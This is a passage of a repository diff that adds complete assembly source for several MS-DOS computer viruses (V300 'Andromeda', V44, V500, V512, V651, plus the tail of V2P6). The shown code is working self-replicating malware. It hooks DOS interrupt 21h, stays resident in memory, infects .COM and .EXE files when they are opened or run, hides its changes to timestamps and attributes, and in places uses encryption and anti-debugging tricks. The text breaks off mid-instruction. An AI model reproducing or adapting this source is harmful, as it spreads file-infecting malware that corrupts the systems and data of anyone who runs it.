CX,WORD PTR[BP-018H] + MOV AX,WORD PTR[BP-016H] + MOV DI,SI + SUB DI,05A6H + CALL ENCRYPT_BODY + POP AX + POPF + RET + +ENCRYPT_BODY: + XOR WORD PTR[DI],AX + DEC AX + INC DI + LOOP ENCRYPT_BODY + RET + + ;================= Data Section begins here =============== + +RANDOM_KEY: +DB 006H, 02CH + +STORAGE_OF_INITIAL_JUMP: +DB 0E9H, 0FDH, 0FEH + +NEW_JUMP_INSTRUCTION: +DB 0E9H, 00, 00 + +FILE_SPEC: +DB "*.COM", 00 + +OFFSET_OF_PATH: +DB "PATH=" + +WORK_AREA: +DB 64 DUP (0) + +NEW_DTA: +DB 30 DUP (0) + +TARGET_FILE_NAME: +DB 13 DUP (0) + +;============ THE FOLLOWING IS NOT PART OF THE VIRUS ============= +; Needed to insert initial random encryption values, etc. for the +; first time. Values used here may correspond to Washburn's original +; values. They were obtained from a sample of V2P6 which might have +; been an original compilation of the virus by its author. + +INSERT_ENCRYPTION_TECHNIQUES: + XOR BP,BP + MOV BX,OFFSET TRANS_TABLE + MOV SI,OFFSET START + MOV DI,OFFSET REAL_NOPS + MOV DX,OFFSET REAL_NOP + INC DI + ADD DX,3 + + SEARCH_FOR_NOPS: + INC SI + CMP SI,OFFSET EXIT + JE ANOTHER_RET + CMP SI,DI + JE LEAVE_IN + CMP SI,DX + JE LEAVE_IN + CMP WORD PTR[SI],09090H + JNE SEARCH_FOR_NOPS + CALL INSERT_BREAKPOINT_AND_XORING_VALUE + LEAVE_IN: + JMP SHORT SEARCH_FOR_NOPS + +INSERT_BREAKPOINT_AND_XORING_VALUE: + MOV BYTE PTR[SI],0CCH + MOV AX,BP + XLATB + MOV BYTE PTR[SI+1],AL + XOR BYTE PTR[SI+2],AL + INC BP + ANOTHER_RET: + RET + +TRANS_TABLE: + DB 08BH, 060H, 0D4H, 0C6H, 048H, 057H, 016H, 06EH + DB 0D3H, 087H, 080H, 000H, 090H, 07EH, 051H, 056H + DB 056H, 0F6H, 062H, 074H, 072H, 072H, 032H, 00AH + DB 0AFH, 03BH, 0AAH, 0BBH, 0FAH, 041H, 038H, 009H + DB 02FH, 0ABH, 0DCH, 0E5H, 004H, 010H, 08EH, 01FH + DB 00DH, 04FH, 0F7H, 002H, 0F0H, 002H, 050H, 036H + DB 04AH, 037H, 04AH, 077H, 0B2H, 07AH, 0B1H, 07AH + DB 031H + + O10H EQU 010H + O3CH EQU 03CH + ODH EQU 0DH + OFH EQU 0FH + O1BH EQU 01BH + O6 EQU 06 + O1AH EQU 01AH + O4 EQU 04 + O7 EQU 07 + O5CH EQU 05CH + O24H EQU 024H + O6AH EQU 06AH + O1 EQU 01 + O2CH EQU 02CH + OO10H EQU 0010H + O22H EQU 022H + O27H EQU 027H + ZERO EQU 0 + + +V2P6 ENDP +CODE_SEG ENDS +END V2P6 + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.v300.asm b/MSDOS/Virus.MSDOS.Unknown.v300.asm new file mode 100644 index 00000000..5695c0e8 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.v300.asm @@ -0,0 +1,184 @@ +;------------------------------------------------------------------------------ +; V 300 ANDROMEDA *.COM +;------------------------------------------------------------------------------ + + + + +xseg segment + + Assume cs:xseg + +xproc proc far + dec bp + inc bp + push ax + xor ax,ax + mov es,ax + mov ax,es:[0535H] + cmp ax,454dh + jz np +; Resident proc near + mov di,535h + mov si,100h + mov cx,offset len-100h + cld + rep movsb + mov ax,offset int21+435h + xchg ax,es:[0084h] + mov es:[00c8h],ax + xor ax,ax + xchg ax,es:[0086h] + mov es:[00cah],ax + +; Resident endp + np: +; NorProg proc near + push word ptr ds:[lenpro] + db 0eah + dw offset norprogm+435h + dw 0000h +; NorProg endp + + NorProgM proc near + cld + mov di,100h + pop si + add si,100h + lea cx,len-100h + push ds + pop es + rep movsb + pop ax + mov cs:[p+435h],es + db 0eah + dw 100h + p: dw 0000h + NorProgM endp + + Int21 proc near + push ax + push bx + push cx + push dx + push di + push ds + push es + + cmp ax,4b00h + + jz sj + jmp ji + + sj: mov ax,offset int24+435h + xchg ax,cs:[0090h] + mov cs:[o24],ax + xor ax,ax + xchg ax,cs:[0092h] + mov cs:[s24],ax + + mov ax,3d02h + int 32h + + jc jcr + + db 93h + + mov dx,0bfe5h + mov ds,dx + xor dx,dx + lea cx,len-100h + mov ah,3fh + int 32h + + mov di,dx + mov ax,[di] + cmp al,'M' + jz j + + mov ax,4202h + xor cx,cx + int 32h + + or ah,ah + jz j + + mov cs:[lenpro+435h],ax + + mov ax,5700h + int 32h + push cx + push dx + + xor dx,dx + mov ah,40h + lea cx,len-100h + int 32h + + mov ax,4200h + push cs + pop dx + xor cx,cx + int 32h + + push cs + pop ds + lea cx,len-100h + mov dx,535h + mov ah,40h + int 32h + + pop dx + pop cx + mov ax,5701h + int 32h + + j: mov ah,3eh + int 32h + + jcr: mov ax,cs:[o24+435h] + mov cs:[0090h],ax + mov ax,cs:[s24+435h] + mov cs:[0092h],ax + xor ax,ax + + ji: cmp ah,3dh + jnz pr + push ds + pop es + push dx + pop di + mov cx,40h + mov al,'.' + repnz scasb + jnz pr + xchg di,bx + mov ax,[bx] + cmp ax,'OC' + jnz pr1 + jmp sj + pr1: cmp ax,'oc' + jnz pr + jmp sj + + pr: pop es + pop ds + pop di + pop dx + pop cx + pop bx + pop ax + jmp dword ptr cs:[00c8H] + Int21 endp + + Int24 proc near + mov al,3 + iret + s24: dw 0000h + o24: dw 0000h + int24 endp + lenpro dw 0000 + Len label byte +xproc endp +xseg ends + end diff --git a/MSDOS/Virus.MSDOS.Unknown.v44.asm b/MSDOS/Virus.MSDOS.Unknown.v44.asm new file mode 100644 index 00000000..185e5980 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.v44.asm @@ -0,0 +1,461 @@ +; 室 ⮣ p (PROBLEM) p㦥 㯫 +; 設 . p⭮ p p ⥬. +; 筮⥩ , p⠥ . +; p 宦  ⥪ ᫮ +; ᥡ . o p . +; p ᬮp. +; ᨫ. + +PAGE 64,132 + +;-------------------------------------------------------------------------- + +MOD_SIZE EQU (MOD_TOP-START+0Fh)/10h +ARE_SIZE EQU (ARE_TOP-START+0Fh)/10h +STK_SIZE EQU (ARE_TOP-START+10h) + +;-------------------------------------------------------------------------- + +SEG_C SEGMENT BYTE PUBLIC 'CODE' + ASSUME CS:SEG_C , DS:SEG_C , SS:SEG_S + +BOOT PROC FAR ; +START: CALL CALC ; +CALC: POP SI ; + SUB SI,(CALC-START) ; + PUSH DS ; + MOV AX,3521h ; SAVE INT 21h VECTOR + INT 21h ; +CHECK: CLI ; + MOV WORD PTR CS:VEC_21h+2[SI],ES ; + MOV WORD PTR CS:VEC_21h [SI],BX ; + MOV AX,DS ; + ADD WORD PTR CS:JUMP +3[SI],AX ; + ADD WORD PTR CS:SSSAVE+1[SI],AX ; + DEC AX ; +CHECJ: JMP SHORT FIRST ; +NEXT: CMP BYTE PTR ES:0,4Dh ; + JNE EXIT ; + ADD AX,ES:3 ; +FIRST: MOV ES,AX ; ES TO MCB + INC AX ; + CMP BYTE PTR ES:0,5Ah ; + JNE NEXT ; Jump if NOT equal + MOV BX,ES:3 ; GOOD MCB CORRECTION + SUB BX,ARE_SIZE ; + JC EXIT ; Jump if carry Set + MOV ES:3,BX ; + SUB WORD PTR ES:12H,ARE_SIZE ; + ADD AX,BX ; + MOV ES,AX ; + XOR DI,DI ; + MOV CX,MOD_SIZE*10H+4 ; SIZE OF MOVING CODE + CLD ; + REP MOVS BYTE PTR ES:[DI],CS:[SI] ; + PUSH ES ; + POP DS ; + MOV BYTE PTR DS:INT_21h,09Ch ; + MOV DX,(INT_21h-START) ; SET INT 21h VECTOR + MOV AX,2521h ; + INT 21h ; +EXIT: POP DS ; + PUSH DS ; + POP ES ; +S_SAV1:; MOV WORD PTR DS:100h,0 ; + JMP SHORT SSSAVE ; SELECTOR + DB 00,01,00,00 ; +S_SAV2: MOV WORD PTR DS:102h,0 ; +S_SAVCH: MOV WORD PTR DS:110h,0 ; + JMP SHORT OUT_C ; +SSSAVE: MOV AX,0010h ; + MOV SS,AX ; +SPSAVE: MOV SP,(ARE_TOP-START) ; +OUT_C: XOR AX,AX ; +JUMP: ; JMP FAR PTR OUEXIT ; + DB 0EAh ; + DW (OUEXIT-START),0010h ; +BOOT ENDP ; +;---------------------------------------------------------------------------- + +C_200 DW 200h +C_10 DW 10h + +;---------------------------------------------------------------------------- + +INT_24h: MOV AL,3 ; + IRET ; + ; +INT_21h: PUSHF ; + PUSH BP ; + XOR BP,BP ; + PUSH BP ; DEBUG PROTECTION + POPF ; + SUB SP,2 ; + MOV BYTE PTR CS:RET_I,2Eh ; + POP BP ; + CMP BP,0 ; + JNE EX_INT ; + CMP AH,3Dh ; + JNE NEXT_0 ; + CMP AL,1h ; + JNE FILE_DO ; +NEXT_0: CMP AH,56h ; + JE FILE_DO ; + CMP AH,4Bh ; + JNE NEXT_1 ; +FILE_DO: MOV BP,(EXEC_FIL-CALL1-3) ; +NEXT_1: CMP AX,3521h ; + JNE NEXT_2 ; + MOV BP,(CH_INST -CALL1-3) ; +NEXT_2: ; + OR BP,BP ; + JZ EX_INT ; + MOV WORD PTR CS:CALL1+1,BP ; + CMP BP,(EXEC_FIL-START) ; + JA RET_2 ; + CALL CALLER ; +EX_INT: POP BP ; + POPF ; +RET_I: JMP DWORD PTR CS:VEC_21h ; + +RET_2: CALL INT_21h ; + PUSH AX ; + SAHF ; + MOV SP,BP ; + MOV SS:[BP+6],AX ; + POP AX ; + CALL CALLER ; + POP BP ; + POPF + IRET ; + +;---------------------------------------------------------------------------- + +CALLER PROC NEAR + MOV CS:SAV_SS,SS ; + MOV CS:SAV_SP,SP ; + PUSH CS ; + POP SS ; + MOV SP,OFFSET ARE_TOP ; + PUSH ES ; [BP+16] + PUSH DS ; [BP+14] + PUSH DI ; [BP+12] + PUSH SI ; [BP+10] + PUSH AX ; [BP+ 8] + PUSH BX ; [BP+ 4] + PUSH CX ; [BP+ 2] + PUSH DX ; [BP ] + MOV BP,SP ; + MOV BYTE PTR CS:INT_21h,0CFh ; +CALL1: CALL EXEC_FIL ; + MOV BYTE PTR CS:INT_21h,09Ch ; + POP DX ; + POP CX ; + POP BX ; + POP AX ; + POP SI ; + POP DI ; + POP DS ; + POP ES ; + MOV SS,CS:SAV_SS ; + MOV SP,CS:SAV_SP ; + RETN +CALLER ENDP + +;---------------------------------------------------------------------------- + +CH_INST PROC NEAR + LES BX,DWORD PTR CS:SAV_SP + LES BX,DWORD PTR ES:[BX+6] +CH_NEX: CMP ES:[BX],2EFAh + JNE RET_INST + ADD BYTE PTR ES:[BX+CHECJ-CHECK],(EXIT-FIRST) + MOV BYTE PTR CS:RET_I,0CFh +RET_INST: RETN +CH_INST ENDP + +;---------------------------------------------------------------------------- + +EXEC_FIL PROC NEAR ; + CALL FILE_O ; + PUSH CS ; + POP DS ; + MOV DX,OFFSET Header ; READ HEADER + MOV CX,20h ; + CALL READ ; + MOV AX,ExeSP ; SEE MARK + MOV WORD PTR SPSAVE+1 ,AX ; + MOV WORD PTR S_SAVCH+4,AX ; + SUB AX,ExeIP ; + CMP AX,STK_SIZE ; + JE JERR ; + MOV AL,2 ; + CALL INT_STR ; Length of file + CMP DX,3h ; Greate 3*64K ? + JGE JERR ; + PUSH AX ; + MOV AX,HEADER ; + + CMP AX,5A4Dh ; + JE ALSO ; + CMP AX,4D5Ah ; + JE ALSO ; + + MOV WORD PTR S_SAV1+4,AX ; + MOV WORD PTR S_SAV1,06C7h ; + XOR AX,AX ; + MOV WORD PTR JUMP+3,AX ; + MOV WORD PTR JUMP+1,100h ; + MOV AX,PartPag ; + MOV WORD PTR S_SAV2+4,AX ; + MOV BYTE PTR HEADER,0E9h ; + POP AX ; + SUB AX,3h ; + MOV WORD PTR HEADER+1,AX ; + JMP SHORT WRITE_F ; + +JERR: RETN ; +ALSO: MOV WORD PTR S_SAV1,12EBh ; + MOV AX,ExeIP ; + MOV WORD PTR JUMP+1,AX ; + MOV AX,ReloCS ; + ADD AX,10h ; + MOV WORD PTR JUMP+3,AX ; + MOV AX,ReloSS ; + ADD AX,10h ; + MOV WORD PTR SSSAVE+1,AX ; + POP AX ; + MOV DI,DX ; + MOV SI,AX ; + ADD AX,OFFSET MOD_TOP ; + ADC DX,0 ; + DIV C_200 ; + INC AX ; + MOV PageCnt,AX ; + MOV PartPag,DX ; New + MOV AX,HdrSize ; + MUL C_10 ; + XCHG DX,DI ; + XCHG AX,SI ; + SUB AX,SI ; + SBB DX,DI ; + DIV C_10 ; + MOV ExeIP,DX ; + MOV ReloCS,AX ; + MOV ReloSS,AX ; + INC MinMem ; +;.... + +WRITE_F: + MOV AX,ExeIP ; + ADD AX,STK_SIZE ; + MOV ExeSP,AX ; + XOR DX,DX ; + MOV CX,OFFSET MOD_TOP ; + CALL WRITE ; + XOR AL,AL ; + CALL INT_STR ; + MOV DX,OFFSET HEADER ; + MOV CX,20h ; + CALL WRITE ; + RETN ; +EXEC_FIL ENDP + +;---------------------------------------------------------------------------- +; FILE DS:DX OPEN/CLOSE ROUTINE +;---------------------------------------------------------------------------- + +DOIT PROC NEAR + LODSB + CMP AL,'a' + JB J1 + SUB AL,('a'-'A') +J1: CMP AL,AH + RETN +DOIT ENDP + +FILE_O PROC NEAR ; + + POP BX + + PUSH DS + POP ES + MOV DI,DX + MOV AL,'.' + MOV CX,100h + REPNE SCASB + JNE ABORT + MOV SI,DI + MOV AH,'C' + CALL DOIT + JNE N_EXE +C_2: MOV AH,'O' + CALL DOIT + JNE N_EXE +C_3: MOV AH,'M' + CALL DOIT + JE CONTIN +N_EXE: MOV SI,DI + MOV AH,'E' + CALL DOIT + JNE ABORT +E_2: MOV AH,'X' + CALL DOIT + JNE ABORT +E_3: MOV AH,'E' + CALL DOIT + JE CONTIN +ABORT: RETN +CONTIN: + MOV WORD PTR CS:EXEC_P,BX ; + MOV SI,DX ; + MOV AX,3300h ; STORE C/BREAK + CALL INT_21 ; + PUSH DX ; + MOV AX,3301h ; SET C/BREAK + PUSH AX + XOR DL,DL ; + CALL INT_21 ; + MOV AX,3524h ; SAVE INT 24h VECTOR + CALL INT_21 ; TO ES:BX + PUSH ES ; + PUSH BX ; + PUSH DS ; + PUSH CS ; + POP DS ; + MOV DX,(INT_24h-START) ; SET INT 24h VECTOR + MOV AX,2524h ; TO DS:DX + CALL INT_21 ; + POP DS ; + MOV AH,54h ; STORE RETRY NUM + CALL INT_21 ; + PUSH AX ; + MOV AX,2E00h ; CLEAR RETRY NUM + CALL INT_21 ; + MOV DX,1 + CALL RETRY + MOV DX,SI ; + PUSH DS ; + PUSH DX ; + MOV AX,4300h ; STORE FILE ATRIBUTES + CALL INT_21 ; + PUSH CX ; + TEST CL,1 ; + JZ SKIP1 ; + MOV AX,4301h ; SET FILE ATRIBUTES + XOR CX,CX ; + CALL INT_21 ; + JC SKIP2 ; +SKIP1: MOV AX,3D02h ; OPEN IN + CALL INT_21 ; R/W MODE + JC SKIP2 ; + MOV WORD PTR CS:INT_HAN+1,AX ; STORE HANDLE + MOV AX,5700h ; STORE DATE&TIME + CALL INT_HAN ; + PUSH CX ; + PUSH DX ; + CALL WORD PTR CS:EXEC_P ; CALL USER FILE_0 + POP DX ; + POP CX ; + MOV AX,5701h ; RESET DATA&TIME + CALL INT_HAN ; + MOV AH,3Eh ; CLOSE FILE + CALL INT_HAN ; +SKIP2: POP CX ; + POP DX ; + POP DS ; + XOR CH,CH ; + TEST CL,1 ; + JZ SKIP3 ; + MOV AX,4301h ; RESET FILE ATTRIBUTES + CALL INT_21 ; +SKIP3: + MOV DX,3 + CALL RETRY + POP AX ; SET RETRY NUM + MOV AH,2Eh ; + CALL INT_21 ; + POP DX ; + POP DS ; + MOV AX,2524h ; + CALL INT_21 ; + POP AX + POP DX ; + CALL INT_21 ; +EXIT_O: RETN ; +FILE_O ENDP ; + +;--------------------------------------------------------------------------- + ; +IO PROC NEAR ; +READ: MOV AH,3Fh ; READ ROUTINE + JMP SHORT L_IO ; +WRITE: MOV AH,40h ; WRITE ROUTINE +L_IO: CALL INT_HAN ; + JC ERR_IO ; + CMP AX,CX ; + JNC RET_IO ; +ERR_IO: POP AX ; +RET_IO: RETN ; +IO ENDP ; + ; +SERVICE PROC NEAR ; INT 21h EMULATOR +RETRY: MOV AX,440Bh ; + MOV CX,1 ; + JMP SHORT INT_21 ; +INT_STR: XOR CX,CX ; POINTER TO START + XOR DX,DX ; +INT_SET: MOV AH,42h ; SET FILE POINTER +INT_HAN: MOV BX,0 ; FILE HANDLE +INT_21: PUSHF ; PUSH FLAGS + CLI ; DISABLE INTERRUPT + CALL DWORD PTR CS:VEC_21h ; INT 21 + RETN ; RETURN +SERVICE ENDP ; + + DB 'THIS IS YOUR PROBLEM !' + ; +;--------------------------------------------------------------------------- + +MOD_TOP: + +VEC_21h DD 0 +VEC_24h DD 0 +EXEC_P DW 0 +SAV_BP DW 0 +SAV_SP DW 0 +SAV_SS DW 0 + +Header DW 0 ; +PartPag DW 0 +PageCnt DW 0 +ReloCnt DW 0 +HdrSize DW 0 +MinMem DW 0 +MaxMem DW 0 +ReloSS DW 0 +ExeSP DW 0 +ChkSum DW 0 +ExeIP DW 0 +ReloCS DW 0 +TablOff DW 0 +Overlay DW 0 +SizForm DW 0 + +STACK_ARE DB 100 DUP(?) + +ARE_TOP: + +OUEXIT: MOV AH,4Ch ; + INT 21h ; + +SEG_C ENDS + + +SEG_S SEGMENT BYTE STACK + DW 20 DUP (?) +SEG_S ENDS + + + END START + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.v500.asm b/MSDOS/Virus.MSDOS.Unknown.v500.asm new file mode 100644 index 00000000..a40927fe --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.v500.asm @@ -0,0 +1,269 @@ +;------------------------------------------------------------------------------ +;- V 500 ver 2.1 <03:04:91> GeMiCha *.COM - +;------------------------------------------------------------------------------ + + page ,132 + name V500 + title The V-500 virus + .radix 16 + code segment + assume cs:code,ds:code + + org 100 + + +start: push ax + mov ah,30h + int 21h + xchg ah,al + mov word ptr [dosver],ax + + mov ax,352eh + int 21h + cmp word ptr [dosver],31eh + jne endprog + + +Resident proc near + mov ah,52h + int 21h + push es + push bx + + mov ax,es:[bx+14h] + mov word ptr adrdata,ax + + push adrdata + pop es + + mov ax,es:[0002] + mov Word ptr bufadr,ax + + push ax + pop es + + mov ax,es:[0002] + + pop bx + pop es + + mov es:[bx+14h],ax + + mov es,word ptr adrdata + xor di,di + mov si,100h + lea cx,lendata-100h + cld + rep movsb + + mov ax,352eh + int 21h + mov ax,0086h + mov es:[012E],ax + lea dx,int21-100h + push adrdata + pop ds + mov ax,2586h + int 21h + + Resident Endp + +NormProg proc near + +EndProg: mov ax,3586h + int 21h + push es + pop word ptr cs:[jmps] + push cs + push word ptr cs:[lenpro] + db 0EAh + dw Offset MNormP - 100h + jmps: dw 0 + +NormProg endp + +MNormP proc near + cld + pop si + add si,0100h + pop es + push es + pop ds + push ds + pop word ptr cs:[jmpp-100h] + lea cx,lendata-100h + mov di,0100h + rep movsb + + pop ax + db 0EAh + dw 0100h + jmpp: dw 0 + +MNormP endp + + Int21 proc near + push ax + push bx + push cx + push dx + push di + push ds + push es + + push ds + push dx + + xor ax,ax + mov es,ax + mov ax,word ptr es:[004ch] + mov word ptr cs:[int13-100h],ax + mov ax,word ptr es:[004eh] + mov word ptr cs:[int13-100h+2],ax + + mov ah,13h + int 2fh + push ds + push dx + mov ah,13h + int 2fh + pop dx + pop ds + + xor ax,ax + mov es,ax + mov es:[004ch],dx + mov es:[004eh],ds + + dos310 label byte + + pop dx + pop ds + + mov ax,4300h ;Get File Attr + int 21h + push cx + push dx + push ds + + mov ax,4301h ;Set File Attr + xor cx,cx + int 21h + + mov ax,3d02h ;Open File + int 21h + + xchg ax,bx + + push word ptr cs:[BufAdr -100h] + pop ds + xor dx,dx + + lea cx,lendata-100h + mov ah,3fh + int 21h + cmp ds:[0000],'ZM' + je clof + + mov ax,4202h + xor cx,cx + int 21h + + mov cs:[lenpro-100h],ax + cmp ah,02h + jbe clof + cmp ah,0f6h + jae clof + + mov ah,54h ; Get Verify + int 21h + push ax + + xor ax,ax ; Set Verify OFF + mov ah,2eh + xor dx,dx + int 21h + + mov ax,5700h ; Get Date & Time + int 21h + push cx + push dx + + xor dx,dx + mov ah,40h + lea cx,lendata-100h + int 21h + + mov ax,4200h + xor cx,cx + int 21h + + push cs + pop ds + lea cx,lendata-100h + mov ah,40h + int 21h + + pop dx ; Set Date & Time + pop cx + mov ax,5701h + int 21h + + pop ax ; Set Verify + xor dx,dx + mov ah,2eh + int 21h + + + clof: mov ah,3eh + int 21h + + pop ds + pop dx + pop cx + mov ax,4301h + int 21h + + xor ax,ax + mov es,ax + mov ax,word ptr cs:[int13-100h] + mov es:[004ch],ax + mov ax,word ptr cs:[int13-100h+2] + mov es:[004eh],ax + + pop es + pop ds + pop di + pop dx + pop cx + pop bx + pop ax + int 21h + iret +Int21 endp +int13 dd 0 +bufadr dw 0 +dosver dw 0 +lenpro dw LenPPP-LenData +AdrData dw 0000h +CRT dw 0 ; ??? + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' +Lendata label byte + + prrog DB 1998 dup(90h) + int 20h +LenPPP Label byte + +code ends + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.v512.asm b/MSDOS/Virus.MSDOS.Unknown.v512.asm new file mode 100644 index 00000000..acfb4c87 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.v512.asm @@ -0,0 +1,313 @@ + name a +code1 segment byte + assume cs:code1,ds:code1 + org 0004h +D4 = $ + org 0050h +N50 = $ + org 0100h +BegAddr = $ +Begin: + mov si,04h + mov ds,si + lds dx,dword ptr [si+08h] ; get addr of int 13h into ds:dx + mov ah,013h + int 02fh ; return orig addr of int 13 into ds:dx + push ds + push dx + int 02fh + pop ax + mov di,offset BegAddr-8 + stosw ; store orig int13 addr offset + pop ax + stosw ; and segment + mov ds,si + lds ax,dword ptr [si+040h] ; get addr of int21 into ds:ax + cmp ax,0117h + stosw ; store int21 addr offset + mov ax,ds + stosw ; and segment + push es ; really this is prog_begin segment + push di ; and offset (0100 for .COM) + jne N130 + shl si,1 + mov cx,01ffh + rep cmpsb + je N177 +N130: + mov ah,052h ; DOS Fn - Get LIST of LISTS + int 021h + push es ; return: es:bx - pointer to DOS list of lists + mov si,0f8h ; here was stored addres of int13 + les di,es:[bx+12h] ; pointer to first disk buffer + mov dx,es:[di+02] ; pointer to next disk buffer + mov cx,207h ; VirLen + 8 + rep movs byte ptr es:[di],byte ptr ss:[si] ; Move v512 into + ; first disk buffer + mov ds,cx ; ds=0 + mov di,016h + mov word ptr [di+06eh],0117h ; set int21 to this offset + mov word ptr [di+070h],es ; and segment + pop ds ; restore pointer to DOS list of lists into ds:bx + mov word ptr [bx+014h],dx ; set 2-nd disk buffer as first + ; => hide 1-st disk buffer + mov dx,cs + mov ds,dx + mov bx,word ptr [di-014h] ; get top of available system + ; memory in paragraphs + dec bh ; and decement it + mov es,bx ; es=last memory segment + cmp dx,word ptr [di] ; dx=Parents ID ? + mov ds,word ptr [di] ; ds=PID + mov dx,word ptr [di] ; dx=Parents PID !!! + dec dx + mov ds,dx ; ds=P PID-1 !!! + mov si,cx ; si=0 + mov dx,di + mov cl,028h + rep movsw ; P PID-1:0 -> MemTop-1:16 + mov ds,bx ; ds=MemTop-1 + jb N186 ; ????? +N177: + mov si,cx ; si=0 + mov ds,word ptr ss:[si+02ch] ; ds=Segment address of DOS environment +N17d: + lodsw + dec si + or ax,ax + jne N17d ; find filespec of THIS file !!! + lea dx,word ptr [si+03h] ; and move pointer to ds:dx (FoolBoy!) +N186: + mov ax,03d00h ; Open a File + int 021h ; AL Open mode + ; DS:DX Pointer to filename (ASCIIZ string) + xchg ax,bx + pop dx + push dx + push cs + pop ds + push ds + pop es + mov cl,02h + mov ah,03fh + int 021h ; Read from File or Device, Using a Handle + ; BX File handle + ; CX Number of bytes to read + ; DS:DX Address of buffer + mov dl,cl + xchg cl,ch + mov al,byte ptr ds:BegAddr + cmp al,byte ptr ds:D2ff + jne N1a7 + mov ah,03fh +N1a7: + jmp N50 +GetFileTblNum: + push bx + mov ax,01220h ; get system file table number + int 02fh ; bx = file handle + mov bl,byte ptr es:[di] ; = system file table entry number for + ; file handle + mov ax,01216h ; get address of system fcb + int 02fh ; bx = system file table number + ; return: ES:DI - system file table entry + pop bx + lea di,word ptr [di+015h] + mov bp,0200h + ret +N1c0: + mov ah,03fh +N1c2: + pushf + push cs + call N248 + ret +DOS_ReadFromFile: + call GetFileTblNum + mov si,word ptr es:[di] + call N1c0 + jb N1f7 + cmp si,bp + jnb N1f7 + push ax + mov al,byte ptr es:[di-08h] + not al + and al,01fh + jne N1f6 + add si,word ptr es:[di-04h] + xchg si,word ptr es:[di] + add word ptr es:[di-04h],bp + call N1c0 + sub word ptr es:[di-04h],bp + xchg ax,si + stosw +N1f6: + pop ax +N1f7: + pop es + pop si + pop di + pop bp +boza proc far + ret 2 +boza endp + +DOS_QueryFileTimeDate: ; AL : 0 to query the time/date of a file + call N1c2 +D200 = $-1 + lahf + mov al,cl + and al,01fh + cmp al,01fh +D207 = $-1 + jne N20c + xor cl,al +N20c: + sahf + jmp N1f6 +Int21Entry: + push bp + push di + push si + push es + cld + mov bp,sp + mov es,word ptr [bp+0ah] + mov di,0117h + mov si,di + cmps word ptr cs:[si],word ptr es:[di] + je N244 + cmp ah,03fh ; DOS Fn 3fH: Read from File via Handle + je DOS_ReadFromFile + push ax + cmp ax,05700h ; DOS Fn 57H: Set/Query File Time/Date + je DOS_QueryFileTimeDate + cmp ah,03eh ; DOS Fn 3eH: Close a File Handle + pushf + push bx + push cx + push dx + push ds + je DOS_CloseFileHandle + cmp ax,04b00h ; DOS Fn 4bH: Execute or Load a Program -- EXEC + je DOS_EXEC +INT21end: + pop ds + pop dx + pop cx + pop bx + popf + je N1f6 + pop ax +N244: + pop es + pop si + pop di + pop bp +N248: + jmp dword ptr cs:D4 ; ????? +DOS_EXEC: + mov ah,03dh ; DS:DX : address of an ASCIIZ string of a + int 021h ; filespec + ; AL : Open Mode + xchg ax,bx +DOS_CloseFileHandle: ; BX : file handle + call GetFileTblNum + jb INT21end ; exit on error + xor cx,cx + xchg cx,bp + mov ds,bp + mov si,04ch + lodsw + push ax + lodsw + push ax + mov ax,02524h ; DOS Fn 25H: Set Interrupt Vector + push ax + push word ptr [si+040h] + push word ptr [si+042h] + push cs + pop ds ; AL : interrupt number 24h + ; INT 24H: Critical Error Handler + mov dx,067h ; DS:DX : interrupt vector - address + int 021h ; of code to handle an interrupt + lds dx,dword ptr [si-050h] + mov al,013h ; AL : interrupt number 13h + int 021h ; INT 13H: Disk I/O + push es + pop ds + mov word ptr [di],bp + mov byte ptr [di-013h],ch + cmp word ptr [di+014h],04d4fh + jne N2be + mov dx,word ptr [di-04h] + add dh,ch + cmp dh,04h + jb N2be + test byte ptr [di-011h],04h + jne N2be + lds si,dword ptr [di-0eh] + cmp byte ptr [si+04h],ch + jbe N2aa + dec dx + shr dh,1 + and dh,byte ptr [si+04h] + je N2be +N2aa: + mov ds,bp + mov dx,cx + call N1c0 + mov si,dx + dec cx +N2b4: + lodsb + cmp al,byte ptr cs:Dfe07[si] +Dfe07=0fe07h + jne N2d1 + loop N2b4 +N2be: + mov ah,03eh + call N1c2 + pop ds + pop dx + pop ax + int 021h +N2c8: + pop ds + pop dx + mov al,013h + int 021h +N2ce: + jmp INT21end +N2d1: + mov cx,dx + mov si,word ptr es:[di-04h] + mov word ptr es:[di],si + mov ah,040h + int 021h +N2de: + mov al,byte ptr ds:D200 + push es + pop ds + mov word ptr [di-04h],si + mov word ptr [di],bp + or byte ptr [di-08h],01fh + push cs + pop ds + mov byte ptr ds:D207,al + mov dx,08h + mov ah,040h + int 021h +N2f8: + or byte ptr es:[di-0fh],040h + jmp N2be +D2ff = $ +N2ff: + db 0e9h + + org 336h +N336 proc near +N336 endp +code1 ends + end begin + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.v651.asm b/MSDOS/Virus.MSDOS.Unknown.v651.asm new file mode 100644 index 00000000..2d770d36 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.v651.asm @@ -0,0 +1,395 @@ + +PAGE 59,132 + +; +; +; V651 +; +; Created: 17-Jan-80 +; Version: +; Passes: 9 Analysis Options on: ABCEFPX +; +; +; + +data_1e equ 84h ; (6FC2:0084=0) +data_2e equ 86h ; (6FC2:0086=0) + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +v651 proc far + +start: + jmp loc_2 ; (09EB) + db 377 dup (0) +data_4 dw 0 ; Data table (indexed access) +data_5 dw 0 ; Data table (indexed access) +data_6 dw offset loc_1, seg loc_1 ;*Data table (indexed access) +data_8 dw 0 ; Data table (indexed access) +data_9 dw 0 ; Data table (indexed access) +data_10 dw 0 ; Data table (indexed access) + db 0 ; Data table (indexed access) + db 0 +data_13 dw 0 + db 0, 0 +data_14 dw 0 +data_15 dw 0 +data_16 dw 0 +data_17 dd 00000h + db 0, 0 +data_19 dd 00000h +data_21 dw 0 +data_22 dw 0 + db 1863 dup (0) +loc_2: + call sub_1 ; (09EE) + +v651 endp + +; +; SUBROUTINE +; + +sub_1 proc near + pop bx + sub bx,3 ; bx - + push ax + sub ax,ax + mov es,ax ; ES:=0 + mov ax,es:[84h] ; INT 21h + mov 